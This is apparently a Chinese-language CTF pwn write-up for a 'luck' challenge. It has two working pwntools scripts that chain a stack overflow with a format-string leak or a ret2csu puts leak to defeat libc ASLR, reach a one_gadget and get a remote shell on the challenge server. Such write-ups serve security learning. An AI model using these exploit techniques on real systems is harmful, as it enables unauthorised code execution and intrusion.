这道题最开始的附件,代码是随机生成一个0~199的数,然后0触发格式化字符串漏洞,1触发栈溢出漏洞,修改后的附件随机数是0或者1
下面是脚本,脚本逻辑:通过栈溢出返回到格式化字符串漏洞函数,泄露libc地址,然后再返回到main函数,通过栈溢出执行onegadget
几率:第一次执行栈溢出1/2,第二次再次执行栈溢出1/2,1/4的概率执行成功
利用失败的思路,1、想通过ret2csu来执行puts函数泄露地址,2、通过pop_rdi来执行system函数,但是两个地址中都包含0a,由于输入函数是gets,遇到回车就截断了,所以利用失败了
from pwn import *
from LibcSearcher import *
context(log_level = "debug")
# p= process("./luck")
p = remote("39.99.242.16",10000)
p.recvuntil("good luck\n")
if b"luck!" in p.recvline():
# gdb.attach(p)
# pause()
offset = 0x58
payload = offset * b"a" + p64(0x400836) + p64(0x400923)
p.sendline(payload)
p.recvuntil("fmt\n")
p.sendline("B"*8 + "%34$p")
p.recvuntil("BBBBBBBB")
libc_start_main = int(p.recv(14),16)
print(hex(libc_start_main))
libc=LibcSearcher('__libc_start_main_ret',libc_start_main)
libc_addr=libc_start_main-libc.dump('__libc_start_main_ret')
one_gadget = libc_addr + 0x45226
p.recvuntil("good luck\n")
sleep(3)
if b"luck!" in p.recvline():
offset = 0x58
payload = offset * b"a" + p64(one_gadget)
p.sendline(payload)
else:
pass
else:
pass
p.interactive()
补:
第一种思路的绕过方法,在csu_front前面有一段跳转代码,地址中不包含0x0a,这段代码就是检查rbp是否为0,如果为0就跳到csu_end代码,如果直接rbp不为0返回的话,会执行到csu_front代码 ——思路来源:Cat_CatF1y师傅
利用步骤大概就是利用溢出使得rbp为0,然后让程序返回到这里,此时rbp为0就可以跳到csu_end调整对应参数,此时rbx=0,rbp=1,然后还是返回到这里,由于此时rbp为1,所以会执行到csu_front代码,就能够成功利用
几率:由于这里只需要一次栈溢出,所以成功率1/2
from pwn import *
from LibcSearcher import *
context(log_level = "debug")
p = remote("39.99.242.16",10000)
#p = process("./luck")
elf = ELF('./luck')
p.recvuntil("good luck\n")
bss_addr = elf.bss() + 0x870
pop_rdi = 0x0000000000400a23
puts_got = elf.got['puts']
if b"luck!" in p.recvline():
#gdb.attach(p)
#pause()
offset = 0x50
payload = offset * b"a" + p64(0) + p64(0x4009F1) + p64(0) + p64(0) + p64(1) + p64(puts_got) + p64(puts_got) + p64(puts_got) + p64(puts_got) + p64(0x4009F1) + \
p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0x400876)
p.sendline(payload)
puts_real = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_real))
libc=LibcSearcher('puts',puts_real)
libc_addr=puts_real-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
one_gadget = libc_addr + 0x45226
payload = offset * b"a" + p64(0) + p64(one_gadget)
p.sendline(payload)
p.interactive()